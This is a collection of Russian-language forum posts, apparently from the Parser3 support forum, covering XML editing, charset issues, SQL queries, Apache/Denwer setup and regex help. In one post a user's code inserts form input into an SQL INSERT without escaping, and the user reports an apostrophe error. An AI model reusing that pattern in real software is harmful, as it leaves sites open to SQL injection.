сделаю, чтобы перекодировалось только, если запрошено в текстовом режиме. если же ^file::load[binary;http://] чтобы ничего никуда не перекодировалось.\
\
workaround:\
перед ^file::load переключите, потом восстановите в исходное значение:\
[code]\
$request:charset[UTF-8]\
[/code]"
"23029","В результате быстро (не говорю - качественно) написанного кода\
[code]\
$doc[^xdoc::load[document.xml]]\
$work_node[^doc.selectSingle[/document]]\
$old_node[^work_node.selectSingle[/simple_tag]]\
$new_node[^doc.createTextNode[new data]]\
$tmp[^work_node.replaceChild[$new_node;$old_node]]\
[/code]\
получил итог :(\
[code]\
...\
<pre>refChild must be node</pre>\
\
<b>replaceChild</b><br>\
<pre>c:/www/test.p(5)</pre>\
\
exception.type=parser.runtime\
\
        <hr>\
\
                <tt>new_node</tt> c:/www/test.p(5)<br>\
...\
[/code]\
что опять не так?"
"23030","в денвере кажется ещё от ветки 3.0.x в ветке 3.1.х они уже другие, более новые."
"23031","Что то я никак не могу сообразить, и буду очень благодарен за помощь.\
\
Задача.\
\
Есть неограниченное количество sql таблиц в которых храняться данные о товарах.\
\
к примеру такие:\
pr_cat_20\
pr_cat_21\
pr_cat_22\
и т.д.\
\
в каждой такой таблице помимо свойст товара, храниться его статус (к примеру колонка status)\
\
надо из всех таблиц выцепить товары где ststus=hot, и вывести их рандомом с ограничением по количеству (к примеру только 5).\
\
Если кто нибудь будет объяснять мне эту тему, заранее просьба объяснять так, как будто разговариваете с человеком который о парсере слышал во сне соседа.\
\
Заранее благодарен."
"23032","Обычно у всех товаров есть какие-либо общие свойства - наименование, производитель, цена, количество на складе, статус (hot, не hot...), и так далее, можно создать одну таблицу для всех товаров и делать выборку только из нее. А специфические свойства каждой группы товаров хранить в других таблицах (или как XML).\
\
А насчёт рандома - поищите по форуму, это уже было, вот тут например: http://www.parser.ru/forum/?id=12760"
"23033","Будем считать, что\
1) Во сне соседа вам стало известно как подключаться к базе\
2) Во сне соседа объяснили что такое таблица в Парсере\
3) Проснувшись, сосед дал вам почитать документацию\
4) Известно количество таблиц, допустим 20\
5) Все таблицы имеют одинаковое наименование (и структуру), отличающееся лишь номером\
6) Выполнено подключение к SQL-серверу\
[code]\
#Количество таблиц\
$tCnt(20)\
#Ограничение по количеству товаров\
$gOut(5)\
#Таблица куда будут добавляться записи из БД\
$gTab[]\
#Временная таблица\
$tTab[]\
#SQL-запрос\
$qSQL[SELECT ... FROM pr_cat_$i WHERE status='hot'\
]\
#Перебираем все таблицы\
^for[i](1;$tCnt){\
#Если таблица первая, то кладём всё в $gTab\
    ^if($i==1){\
        $gTab[^table::sql{\
            $qSQL\
        }\
    }{\
#Если таблица не первая, то кладём все в $tTab, а потом добавляем к $gTab\
        $tTab[^table::sql{\
            $qSQL\
        }\
        ^gTab.join[$tTab]\
    }\
}\
#Чтобы не повторялись записи будем хранить в таблице их номера\
$nRec[^table::create{n}]\
#Случайный номер\
$n(0)\
#Теперь будем выводить нужное количество записей\
^for[i](1;$gOut){\
#Пока random не выдаст нам не совпадающий номер будем его вызывать\
    ^while(!^nRec.locate[n;$n]){\
#Здесь $gOut это количество записей\
        $n(^math:random($gOut))\
    }    \
#Добавим номер в таблицу, чтобы знать что он уже был\
    ^nRec.append{$n}\
#Смещаем указатель на случайное число\
    ^gTab.offset($n)\
#Выводим\
    <div>$gTab.fields</div>\
}\
[/code]\
Хм... Как-то громоздко получилось и не красиво :( Тем не менее может быть будет работать :)))"
"23034","и вместо таблицы $nRec лучше использовать хеш, и быстрее и проще код (убираются locate)"
"23038","Скачал исходники форума никак не могу настроить его!!!\
Помогите люди добрые, в paser3.log такаое сообщение :\
\
/forum.html: z:/home/forum.ru/www/templates.htm(57:6): 'checkLogged' undefined method [parser.runtime]\
\
Завожу новую тему, т.к. никто не откликнулся в теме посвященной этому вопросу!"
"23039","Цитирую по webmascon.com \
\"Умельцы уже подготовили для вас[url=\"http://www.skyzyx.com/archives/000094.php\"] пакеты IE5 и IE5.5, [/url]которые остается только распаковать и положить в каталог. А художники нарисовали [url=\"http://www.sonicdeath.co.uk/stuff/ie-multiple-icons.zip\"]иконки [/url]для разных версий IE, чтобы можно было их повесить на Shortcuts.\""
"23040","С помощью php можно несколькими строчками импортнуть *.sql-файл в базу MySQL. А можно ли проделать это с помощью парсера?"
"23041","если команды sql в файле написаны по одной в строке и нет табов, то [url=\"http://www.parser.ru/docs/lang/tableload.htm\"]^table::load[/url], [url=\"http://www.parser.ru/docs/lang/tablemenu.htm\"]^table.menu[/url], [url=\"http://www.parser.ru/docs/lang/voidsql.htm\"]^void:sql{}[/url]."
"23042","этот метод выдаёт новую строку, старая остаётся как была."
"23043","[copy/paste bug]\
\
parser вам говорит, что $old_node никакой не node.\
видимо, selectSingle не выдал результата, и в $oldChild лежит пустое значение, не node."
"23044","Самый первый урок.\
Пожалуйста скажите конкретно: что я должен написать в файл sections.cfg.\
А в index.html я так понял нужно вписать только ^navigation[] ?"
"23045","Всем огромное спасибо за терпение и понимание моей проблемы :)\
Без этого давно бы уже плюнул на все :)"
"23046","Пишем вот такой оператор:\
[code]\
@runSQL[pathToSQLFile][sqlFile]\
^if(-f $pathToSQLFile){\
    $sqlFile[^file::load[text;$pathToSQLFile]]\
    $sqlFile{$sqlFile.text}\
    ^try{\
        ^void:sql{\
            $sqlFile\
        }\
    }{\
#Что-то не так с SQL-кодом, наверное :)\
        ...\
    }\
}{\
#Ошибка, нет такого файла. Обрабатываем.\
    ...\
}\
[/code]\
и где надо вызываем его потом, одной строкой :)))\
[code]\
^runSQL[/sql/mySuperSQLFile.sql]\
[/code]\
А в обработчики можно напихать тоже всякого... А ещё можно сделать, чтобы он возвращал true если скрипт нормально исполнился и false если нет и вызывать внутри ^if."
"23047","А что если в Parser-е сделать возможность указывать (к примеру в конфигурационном auto.p) из каких групп и окружений можно запускать скрипты не нарушая Safe Mode."
"23048","Все! Проблема решилась следующим кодом:\
[code]\
$doc[^xdoc::load[document.xml]]\
$workNode[^doc.selectSingle[/document]]\
$oldNode[^workNode.selectSingle[simple_tag]]\
$newNode[^doc.createElement[simple_tag]]\
$newValue[^doc.createTextNode[new data]]\
$tmp[^newNode.appendChild[$newValue]]\
$tmp[^workNode.replaceChild[$newNode;$oldNode]]\
^doc.save[document.xml]\
[/code]\
\
Спасибо всем за помощь (и направление в нужное русло)."
"23049","Код:\
^if(def $form:fields.thanx){\
<p align=\"center\">Ваше сообщение отправлено.</p>\
}{\
<!--а тут форма для отсылки сообщения-->\
}\
Ошибка:\
method of MAIN (MAIN) accepts maximum 3 parameter(s)\
if\
\
path-to/mail.html(9)\
exception.type=parser.runtime"
"23050","«В корневом каталоге будущего сайта создаем файл sections.cfg, в который помещаем следующую информацию: \
/далее подробно намисано, какую/»\
\
:)"
"23052","В форме для отсылки сообщения, видимо,\
есть символ ; который в Парсере нужно \"крыжить\".\
Нужно писать ^;. Символ ; Парсер\
воспринимает как разделитель параметров."
"23053","ибо дальше было рассказано про ^xdoc::load[document.xml], чего изначально сказано не было, вот и строились предположения - вдруг динамика, тогда поймать кусок, заменить..."
"23054","http://www.parser.ru/forum/?id=22926"
"23056","И так, я проникся технологией и решил скачать. сначала модули под Апач затем все остальное (включая денвер), но вот не задача ничего не работает. Ставил как просто денвер так и все по отдельности, так же следовал инструкциям и рекомендациям из форума, ничего не работает. Начал попытки тестирования с Урока 1 из документации на что мне IE показывает ^sections[]. Если кто имеет возможность выложить или прислать куски конфигов или последовательность установки с нормальным исходом буду очень благодарен. Кстати тестовый файл, что дается в инсталляторе либо кажет комментарий \"Типа парсер не установлен\" либо правтически весь ХТМЛ. И как скрипт тоже не работает. Помоготе, перепробывал на мой взгляд все варианты.OS XP, Apache из денвера последнего."
"23058","Спасибо!"
"23059","Что у вас говорит денвер на localhost или 127.0.0.1"
"23060","Последовал вашему совету, временно переключившись на UTF-8 перед закачкой внешнего файла и потом обратно и вот что получил:[code]exception in request exception handler: transcodeFromUTF8 error: too big tmpVal(0xFFFFE862)[/code]"
"23062","попробовать послать письмо и отловить ексепшн"
"23063","Workaround плох ещё и тем, что загоняет мне в базу UTF-8, а не мой windows-1251. Лучше я буду менять в заголовке \"UTF-8\" на windows, чтобы XML-модуль парсера не ругался и всё..."
"23065","Одного не понимаю: как в текстовый редактор (например, Блокнот) добавить эту таблицу........."
"23066","Странно, но мне помогла вот такая шаманнобубенская манипуляция.\
В основном auto.p эта секция почти внизу.\
[code]\
@auto[]\
#source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
[/code]\
\
если передвинуть в самый верх (перед всеми методами),\
то проблема с кодировкой UTF-8 в XML исчезает."
"23067","Я выкачиваю XML со внешнего сайта, кладу его контент в переменную. Если его отдать ^xdoc::create сразу, будут проблемы - в заголовке закачанного файла остаётся строка charset=\"UTF-8\", между тем контент файла уже перекодирован в 1251. Поэтому я сначала делаю replace \"UTF-8\" на 1251, и только потом выполняю ^xdoc.\
\
Проблема, правда, возникла с компьюлентовским RSS - у них файл в кодировке UTF, а в заголовке - 1251... Ну что, пришлось написать им..."
"23068","я совсем не стыдил, вы же bug нашли :)"
"23069","можете сами её задать:\
[code]\
^file::load[http://; $.charset[удалённая кодировка]\
[/code]\
\
эта кодировка насильно задаёт удалённую кодировку, заставляя игноририровать выдаваемую сервером."
"23073","Старшие товарищи, поможите.\
Вопрос: как сделать один общий auto.p для каталогов rabotaXX/\
или может есть другой способ решить проблему страниц из этих каталогов - структура страниц оличается от всех остальных.\
Структура сайта:\
/\
   |__auto.p \
   |__portfolio/ \
   |  |__index.html \
   |  |__client1/ \
   |     |__index.html\
   |     |__rabota11/\
   |        |__index.html\
   |     |__rabota12/\
   |        |__index.html\
   |  |__client2/ \
   |     |__index.html\
   |     |__rabota21/\
   |        |__index.html\
   |     |__rabota22/\
   |        |__index.html"
"23075","Вот так вот\
\
корневой каталог\
/\
auto.p\
index.html\
_portfolio/\
\
1-й уровень\
portfolio/\
index.html\
_client1/\
_clien2/\
\
2-й уровень\
client1/\
index.html\
_rabota11/\
_rabota12/\
\
и т.д."
"23076","В соответствии с исправленной структурой - http://www.parser.ru/forum/?id=23075, путь к каталогу rabotaXX = /portfolio/clientX/"
"23077","Дано: RSS-newsfeed, который может иметь либо такую:\
\
[code]<rdf:RDF xmlns:rdf=\"http://...\">\
  <channel>\
    <item>\
    </item>\
  </channel>\
</rdf:rdf>[/code]либо такую структуру[code]<channel>\
  <item>\
  </item>\
</channel>[/code]\
\
Вопрос - как мне избавиться от корневого <rdf></rdf>, если он есть?"
"23078","Вот хочу запихнуть в сессионную переменную хэш - массив и никак не получается. \
$Cart[^hash::create[]]\
$cookie:Cart[$.value[$Cart] $.expires[session]]\
В результате получаю ошибку: (hash) has no string representation"
"23081","Очень жаль"
"23082","Можно!!!\
http://yatsena.livejournal.com/43772.html\
\
а точнее:\
http://www.cupdate.de/sergeyatsenko/files/forum_src_p3.rar"
"23083","Я конечно далеко не ас в интернет технологиях, и хотел узнать у вас:\
Возможно ли перекопировать файл с одного ftp , на другой,\
минуя мой компьютер, если возможно вообще, то как это реализовать на Парсере?"
"23084","Решение такое: формируете из хэша строку в определенном формате и пишете в куку, а потом выдергивете и разбираете обратно в хэш. В порядке бреда: в виде XML... :)\
\
Вопрос в другом: а вы уверены, что необходимо пихать корзину в куки? Во-первых есть ограничение на размер кук, а во-вторых передавать при каждом запросе лишние килобайты не рационально."
"23085","Спросите у вашего провайдера, предоставляет ли он вам т.называемый \"ssh-доступ\". Это такая штука, при которой (если наплевать не детали) ваша клавиатура и монитор подключаются к серверу провайдера и вы выполняете команды прямо на нём. Т.е. вы оттуда можете подключиться на ваш старый ftp и забрать свои файлы.\
\
Дождётесь ответа - пишите сюда, продолжим..."
"23086","SSH поддерживается, там стоит ssh2"
"23088","А как?"
"23089","http://www.parser.ru/docs/lang/fileload.htm\
\
Правда, есть у меня такое нехорошее подозрение, что размер файла будет ограничен размером выделенной вам оперативной памяти.\
Надеюсь, что я ошибаюсь, т.к. никогда не загружал больших фалов и в тонкостях устройства Parser'a я несилён."
"23090","и подключать в auto.p 1-го уровня\
Насчёт подключения лишнего файла могу процитировать великого Misha v.3, он отозвался об оптимизации сокращения количества файлов как \"экономить на спичках\". (Прошу прощения если неточен)"
"23091","с сервера на сервер файл можно закачать FTP-клиентом, при условии если этот клиент и хотя-бы один из серверов поддерживают т.н. \"FXP\" (например клиент FlashFXP, серверы UNIX-based, если FXP не отключено админом специально).\
\
Парсером нельзя, он не поддерживает ftp."
"23092","Всем привет!\
\
есть строка, надо удалить пустые строки и перед началом и концом строки поставить \"\
\
т.е. из\
$code[\
\
fjfhjf\
\
kfjf\
\
]\
\
получить\
$code[\"fjfhjf\"\
\"kfjf\"]\
\
\
такой код работать не хочет\
$code[^code.match[^^[\\s\\f\\t\\r\\n]*^$][gm]{}]\
$code[^code.match[^^(.*)^$][gm]{\"$match.1\"}]\
\
выдает\
$code[\"\"\
fjfhjf\
kfjf\
]\
\
но если на входе\
$code[fjfhjf\
kfjf]\
то получается\
$code[\"fjfhjf\"\
\"kfjf\"]\
то есть именно то что надо.\
\
\
Как быть?\
\
10я версия под виндами"
"23093","Мой сервер net.ru, там поддерживают FXP?"
"23094","не знаю, спросите в службе поддержки, или попробуйте сами.\
\
www.flashfxp.com/support.php?s=faq"
"23095","[code]\
$ip[$env:REMOTE_ADDR^if(def $env:HTTP_X_FORWARDED_FOR){/$env:HTTP_X_FORWARDED_FOR}]\
$ip\
[/code]"
"23096","Ситуация: есть Apache 2 под Windows XP, установленный в C:\\Apache; есть папка C:\\Web, для которой сделана символическая ссылка на C:\\Apache\\htdocs.\
После выполнения кода ^file:delete[$uri], где $uri есть /other/file.txt, parser удаляет линк C:\\Apache\\htdocs. В каталоге C:\\Web\\other куча файлов помимо file.txt. Где грабли?"
"23097","В том то и дело что ничего не говорит. просто либо показывает коментарий тестового файла из дистрибутива Парсера, либо его содержание но со всеми переменными вместо данных которые появляются после обработки переменных\
когда пишу файлик по Первуму уроку из Доков вижу просто ^sections[] пробывал все что мона, поэтому и прошу конфигурационные файлы"
"23098","1) Проекты изначально разрабатываются на бумаге, или сразу на компьютере?\
2) Какое в среднем отношение затрат времени работы с бумагой/компьютером?\
\
ps: пытаюсь решить для себя как эффективнее, заодно не наступать на чужие грабли :)"
"23099","Ну автор же пишет регулярно: там надо кое-что подправить\
Ну нету в предоставленном коде этого метода.\
В качестве временно заплатки (что бы хоть как-то запустить форум) надобно вставить в templates.htm такой кусочек кода:\
\
@checkLogged[]\
$result[0] #принудительное значение ЛОЖЬ\
\
Или в том же файле в методе @docMenu[] вместо первого же ^if оставить только строчку\
$menu[^table::load[menu1.cfg]]\
\
;о)"
"23100","Приветствую\
\
Коллеги, а кто-нибудь сталкивался с задачкой реализации псевдостатического сайта (сервер IIS) на Parserе? Т.е. чтобы вместо /www.site.ru/index.htm?параметры_всякие можно было использовать адреса типа /www.site.ru/rus/news/2003/11/etc...\
\
Мне пока приходит в голову только использование обработки ошибки 404, причем (наколько я понимаю логику работы IIS) в этом случае надо в соответствующий файл-обработчик загонять практически всю логику сайта. Что не есть очень интересно, поскольку теряется сама идей размещения разделов сайта на диске деревом.\
\
Буду весьма признателен за подсказку."
"23101","Добавьте в файл .htaccess вашего сайта (или в httpd.conf в секцию <virtualhost …> вашего сайта, или вне ее - для всех сайтов) блоки: \
# назначение обработчиком .html страниц \
AddHandler parser3-handler html \
Action parser3-handler /cgi-bin/parser3 \
\
# запрет на доступ к .p файлам. основной: auto.p \
<Files ~ \"\\.p$\"> \
    Order allow,deny \
    Deny from all \
</Files> \
\
http://www.parser.ru/docs/lang/install4apachecgi.htm"
"23104","Вы пишите\
[code]$code[^code.match[^^[\\s\\f\\t\\r\\n]*^$][gm]{}][/code]\
Сначала находите начало строки, а сразу за ним любой из перечисленных в квадратных скобках символ - это неправильно.\
Для вашей задачи достаточно проверить есть ли перед символом перевода строки какой нибудь символ. Если нет, то убрать перевод строки, если есть то оставить.\
В итоге получаем выражение:\
http://www.spearance.ru/parser3/regex/?no=2\
самое верхнее.\
Над анализом второго выражения подумайте самостоятельно, если не разберетесь, спрашивайте."
"23105","Вот та строка, которая делает отсечку дублей рандома выдает\
endless. \
\
И вообще вопрос, как мне реально сделать отсечку дублей по рандому?"
"23106","Чтоб потом parser'ом обработать."
"23107","55% = разработка алгоритма (без разницы, на бумаге или нет)\
5% = кодинг\
40% = отладка\
\
Ответил, потому что четко вывел сию формулу для себя."
"23108","Чем проще решение,\
Тем ближе до гения."
"23110","Код риплейса покажите? В \
[code]<rdf:rdf может быть много всего интересного ></rdf:rdf>[/code]Например, http://www.kuro5hin.org/backend.rdf или http://mena.typepad.com/dollarshort/index.rdf"
"23111","http://bobov.gloom.info/poem.html?poem=127.xml"
"23112","Напиши шаблон на match=\"/rdf\", который будет делать <xsl:copy-of select=\"child::*\" /> - и опаньки."
"23113","и подойдет матч, - его код пишется просто, вроде того:\
[code]\
$sDocument[^sDocument.match[\
	<(rdf:rdf)(.*?)>\
	(<!\\[CDATA\\[)?\
	(.+?)\
	(\\]\\]>)?\
	</\\1>\
][gix]{${match.3}}]\
[/code]"
"23116","Что делать? Назначил обработчиком parser. Создал первую страницу по первому уроку, а он мне говорит - доступ запрещен (из броузера)."
"23117","replace подразумевает _фиксированную_ строку. а тут - только начало фиксированное, а дальше - все что угодно.\
или путаются понятия replace и match? ;-)"
"23119","[code]\
$sDocument[^sDocument.match[\
	<(rdf:rdf)(.*?)>\
	(<!\\[CDATA\\[)?\
	(.*)\
	(\\]\\]>)?\
	</\\1>\
][ix]{${match.4}}]\
[/code]"
"23120","Исполняемый файл Парсера должен быть доступен для выполнения всем пользователям."
"23123","[code]<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
    <xsl:template match=\"/\">\
        <xsl:for-each select=\"child::*[namespace::rdf]\">\
            <xsl:copy-of select=\"child::*\" />\
        </xsl:for-each>\
    </xsl:template>\
</xsl:stylesheet>[/code]"
"23126","Спасибо!\
\
Только в первом выражении ошибка\
дожно быть\
(?<![^^|\\n])\\n\
иначе парсер с ошибкой вылетает"
"23127","1) Вы с каким расширением фаил вызываете?\
2) Что у вас написано в .htaccess"
"23129","обращаюсь к index.html\
\
в .htaccess написано:\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
DirectoryIndex index.html\
\
Я проверил, если убрать строки <Files ... /files>, то страница загружается, но вместо меню вижу ^navigation []\
Имеет ли значение то, что файл index.html лежит не в корне, а дочерней дирректории?"
"23130","Поставил выполнение и получил:\
\
Unhandled Exception\
The server encountered an unhandled exception and was unable to complete your request.\
\
Please contact the server administrator, webmaster@union-a.ru and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception.\
 Что делать теперь?"
"23132","В лог-файле записано следующее:\
[Thu Nov 13 15:20:09 2003] /souz/: ./auto.p(132:9): parse error, expecting `'\\n'' [parser.compile]\
[Thu Nov 13 15:23:22 2003] /souz/: ./auto.p(132:9): parse error, expecting `'\\n'' [parser.compile]\
[Thu Nov 13 15:27:42 2003] /souz/: ./auto.p(132:9): parse error, expecting `'\\n'' [parser.compile]\
[Thu Nov 13 15:38:35 2003] /souz/: ./auto.p(132:9): parse error, expecting `'\\n'' [parser.compile]\
[Thu Nov 13 15:42:23 2003] /souz/: ./auto.p(132:9): parse error, expecting `'\\n'' [parser.compile]\
[Thu Nov 13 15:42:27 2003] /souz/: ./auto.p(132:9): parse error, expecting `'\\n'' [parser.compile]\
[Thu Nov 13 15:42:31 2003] /souz/: ./auto.p(132:9): parse error, expecting `'\\n'' [parser.compile]\
[Thu Nov 13 15:42:35 2003] /souz/: ./auto.p(132:9): parse error, expecting `'\\n'' [parser.compile] \
\
Что делать теперь?"
"23133","...пока телепаты прочитают что-же написано у вас в 132 строке файла ./auto.p"
"23134","В учебнике сказано: parser.compile \
 ^test[} \
 Ошибка компиляции кода. Непарная скобка, и т.п. \
 \
Но все скобки на месте. В теле документа вообще одна строка ^navigation[]"
"23135","121@navigation\
122$sections[^table::load[sections.cfg]] \
123<table width=\"100%\" border=\"1\"> \
124   <tr> \
125   ^sections.menu{ \
126      <td align=\"middle\"> \
127          <a 128href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
129      </td> \
130   } \
131   </tr>\
132</table>\
\
Может я слеп? Но чего тут может не хватать?"
"23136","Люди добрые, \
Помогите!\
у меня стоит ХР, локалхост ну и РHP.\
с чего начать?"
"23137","А что ты хочешь?"
"23139","... добавить перевод строки в конец - вот и добавьте."
"23140","так какой имено?\
блин честно их столько версий?"
"23141","В логе ошибка\
/usr/libexec/ld-elf.so.1: parser3.cgi: Shared object has no run-time symbol table  \
[Thu Nov 13 05:18:52 2003] [error] [client 195.14.47.90] Premature end of script headers: /hsphere/local/home/pers959/novo-tex.ru/cgi-bin/parser/parser3.cgi  \
\
Вер 3.11\
СОбирать из сорцов или что можно еще сделать?\
\
Спасибо"
"23144","там стоит 3,007, а вообще лучше 3,1,1\
\
Ссылки ищите в разделе скачать, win32"
"23145","Хотелось бы поподробней как это реализовать с помощью SSH"
"23146","Скачал parser3_1_1_win32_apache_xml\
распакавал, и сижу думаю что дальше,\
не ну ч неполный профан, но тяжко понять,\
мне так и с пхп было но я смотрю что похоже.\
помогите плиз."
"23147","поставить и научится создавать сайт"
"23148","...вы пробовали читать в левой колонке на странице, где вы качали этот файл, инструкции по установки? нет? попробуйте. если что-то не понятно - обратитесь в раздел FAQ и документацию."
"23149","Не знаю как подступиться к следующей проблеме - у меня есть php-скрипт, который генерит определенный кусок парсеровского кода и передает его на мой сайт либо через файл (например result.txt) или по сокету..Могу ли я на своем парсеровском сайте загрузить этот файл (result.txt или по сокету) и исполнить содержащийся в нем код? Подскажите пожайлуста, как это можно сделать.."
"23150","Спасибо огромное. Это серьезный прорыв. :) Дальше все должно быть гораздо проще. Главное - сервер заработал."
"23151","Я, например, не нашёл, хотя было бы очень полезно..."
"23152","Тогда мой тебе совет качай денвер и парсер. все пока больше ничего не надо.\
Устанавливай денвер в него уже вшиты и MySQL и PHP  и все что тебе понадобится . Только прими во внимание все в урезанной версии, тоесть для того чтобы создать нехилый сайт достаточно а вот что бы монстра - надо докачать там же дополнительные модули - Это ДЕНВЕР\
Дальше качаешь парсер и устанавливаешь его а потом по урокам :-))) сам сейчас с гостевухой сражаюсь :-))\
Парсер уникальная вещь я вам скажу - изменил одил файлик а вес сайт бац и изменился... круто :-))"
"23153","Поставил парсер как модель, все загружается, и Апач, и Пхп, и Парсер. Бросяю тестовый файл и......\
....Никакого эффекта.\
То есть он (файл) говорит что парсер не установлен. Я думаю что может чего не правильно в auto.p написано, если не трудно, бросте в форем или на master_nhg@mail.ru файли конфига.\
Ну или хотяб разъясните в чем тут может быть дело... По документации не проходит..."
"23156","Нпрод,\
вообщем сам непойму, может кто поможет!?\
стукните в аську 192396640, \
Буду очень благадарен!"
"23158","Если вы внимательно посмотрите на тестовый файл то увидите в конце комментарий:\"Для того, чтобы данный тест заработал, в качестве обработчика документов с данным расширением должен быть установлен parser, чего сейчас не наблюдается.\" Поэтому и спрашиваю, перепробывал все иначе бы не писал в форум."
"23159","LoadModule php4_module \"/usr/local/php/sapi/php4apache.dll\"\
LoadModule parser3_module modules/ApacheModuleParser3.dll\
ParserConfig conf/auto.p\
AddHandler parser3-handler .html\
\
<Files ~ \"\\.p$\"> \
    Order allow,deny \
    Deny from all \
</Files>"
"23161","Никогда не видел этой надписи, ибо у меня никогда не было проблем с установкой. А просто открывать тестовый файл в браузере как-то в голову не приходило."
"23162","А как?\
Если вы имеете ввиду mod_parser3.C  то у меня его нет, я скачал 3.11. Всего по немногу и полный дистрибутив. Скажите где он лежит."
"23163","Это указатель на то, что модуль надо использовать, а не указатель на исходник.\
Просто добавьте строку [code]AddModule mod_parser3.с[/code] (.c в нижнем регистре)"
"23164","Syntax error on line 240 of z:/usr/local/apache/conf/httpd.conf:\
Cannot add module via name 'mod_parser3.c': not in list of loaded modules\
Note the errors or messages above, and press the <ESC> key to exit.  21...\
\
Вот так примерно"
"23165","если поставить AddModule  сразу после LoadModule пишет следующее\
[Fri Nov 14 12:46:23 2003] [warn] module mod_parser3.c is already added, skipping\
Apache/1.3.27 (Win32) Parser/3.1.1 PHP/4.3.0 running...\
\
или то, что писал выше"
"23166","Начиная от[code]#\
# Dynamic Shared Object (DSO) Support\
#[/code] и заканчивая [code]#\
# ExtendedStatus controls whether Apache will generate \"full\" status[/code]"
"23167","\
#LoadModule status_module modules/mod_status.so\
#LoadModule info_module modules/mod_info.so\
#LoadModule speling_module modules/mod_speling.so\
LoadModule rewrite_module modules/mod_rewrite.so\
#LoadModule anon_auth_module modules/mod_auth_anon.so\
#LoadModule dbm_auth_module modules/mod_auth_dbm.so\
#LoadModule digest_auth_module modules/mod_auth_digest.so\
#LoadModule digest_module modules/mod_digest.so\
#LoadModule proxy_module modules/mod_proxy.so\
#LoadModule cern_meta_module modules/mod_cern_meta.so\
#LoadModule expires_module modules/mod_expires.so\
#LoadModule headers_module modules/mod_headers.so\
#LoadModule usertrack_module modules/mod_usertrack.so\
##LoadModule unique_id_module modules/mod_unique_id.so # по нашим тестам, сильно замедляет работу\
LoadModule php4_module \"/usr/local/php/sapi/php4apache.dll\"\
LoadModule parser3_module modules/ApacheModuleParser3.dll\
ParserConfig conf/auto.p\
AddHandler parser3-handler .html\
AddModule mod_parser3.c - пробывал и с ним и без него\
\
<Files ~ \"\\.p$\"> \
    Order allow,deny \
    Deny from all \
</Files> \
\
\
#\
# Для mod_rewrite\
#\
RewriteEngine On\
\
#\
# Директива ExtendedStatus определяет, будет ли Apache генерировать\
# детальную информацию о состоянии (ExtendedStatus On) или только \
# общую информацию (ExtendedStatus Off) при обращении к функции \
# server-status. Значение по умолчанию - Off.\
#\
#ExtendedStatus On"
"23168","Вчера запостил ссылку на парсерные кричалки (http://bobov.gloom.info), а вечерком в логах обнаружил, что кто-то поигрался с формочкой :), продемонстрировав мою небрежность. Баг не смертельный, но все-же. Судя по тому, что сайт висит всего пару дней, и по времени \"играния\", явно кто-то из форума.\
 \
В общем, кто знает, тот понял, спасибо большое!"
"23170","А что, раздела с AddModule в httpd.conf нет?"
"23171","Есть, но вы просили позже. Вот он\
#ClearModuleList\
#AddModule mod_env.c\
#AddModule mod_log_config.c\
#AddModule mod_mime.c\
#AddModule mod_negotiation.c\
#AddModule mod_include.c\
#AddModule mod_autoindex.c\
#AddModule mod_dir.c\
#AddModule mod_isapi.c\
#AddModule mod_cgi.c\
#AddModule mod_asis.c\
#AddModule mod_imap.c\
#AddModule mod_actions.c\
#AddModule mod_userdir.c\
#AddModule mod_alias.c\
#AddModule mod_access.c\
#AddModule mod_auth.c\
#AddModule mod_so.c\
#AddModule mod_setenvif.c\
\
#\
# Поддержка динамически разделяемых объектов (DSO, Dynamic Shared Object)"
"23172","Что все на русский переведено и разложено в хитром порядке?"
"23173","Это Denwer.\
Дело не в этом. Вы скажите что у меня не правильно, если нежно я и другие файлы могу показать."
"23174","типа так...\
[code]\
#\
# Dynamic Shared Object (DSO) Support\
#\
LoadModule rewrite_module modules/mod_rewrite.so\
LoadModule php4_module \"/usr/local/php/sapi/php4apache.dll\"\
LoadModule parser3_module modules/ApacheModuleParser3.dll\
\
#  Reconstruction of the complete module list from all available modules\
#  (static and shared ones) to achieve correct module execution order.\
#  [WHENEVER YOU CHANGE THE LOADMODULE SECTION ABOVE UPDATE THIS, TOO]\
ClearModuleList\
AddModule mod_so.c\
AddModule mod_php4.c\
AddModule mod_parser3.c\
[/code]\
закомментаренное выкинул"
"23175","Не помогает\
[Fri Nov 14 14:20:04 2003] [warn] module mod_parser3.c is already added, skipping\
[Fri Nov 14 14:20:04 2003] [warn] module mod_php4.c is already added, skipping\
[Fri Nov 14 14:20:04 2003] [warn] module mod_parser3.c is already added, skipping\
Apache/1.3.27 (Win32) Parser/3.1.1 PHP/4.3.0 running..."
"23176","Недавно я спрашивал про них спрашивал: http://parser.ru/forum/?id\
Проблема была в том, что апостроф, находящийся в форме, вызывал ошибку MySQL. После ломания головы, обозначилось два половинчатых варианта.\
\
[b]Полувариант 1[/b]\
Апостроф нормально добавляется в базу, но все теги, пришедшие из формы, оказываются в базе в виде тегов, а не &lt; и пр.\
[code]$body[$form:body]\
\
$tbody[^taint[html][$body]]\
$tbody[^tbody.match[\\[([b])\\](.+?)\\[/\\1\\]][gi]{<$match.1>$match.2</$match.1>}]\
#здесь еще несколько преобразований, в которых [i]вручную[/i] тайнтинг не используется.\
\
$modbody[^untaint[html]{$tbody}]\
\
^connect[$SQL.connect-string]{\
^void:sql{INSERT into live (body) values('^taint[sql][$modbody]')}\
}[/code]\
\
[b]Полувариант 2[/b]\
Все теги, пришедшие из формы, преобразовались в &lt; и пр., но при наличии апострофа, MySQL выдает ошибку.\
[code]$body[$form:body]\
\
$tbody[^taint[html][$body]]\
$tbody[^tbody.match[\\[([b])\\](.+?)\\[/\\1\\]][gi]{<$match.1>$match.2</$match.1>}]\
#здесь еще несколько преобразований, в которых [i]вручную[/i] тайнтинг не используется.\
\
$modbody[^untaint[html]{$tbody}]\
\
^connect[$SQL.connect-string]{\
^void:sql{INSERT into live (body) values('$modbody')}\
}[/code]\
\
Но как все-таки добиться верного? Чтобы в базе оказались в виде тегов только преобразования и чтобы апостроф нормально добавлялся."
"23179","и если честно, то попробуйте более доступно объяснить что вы хотите получить.\
\
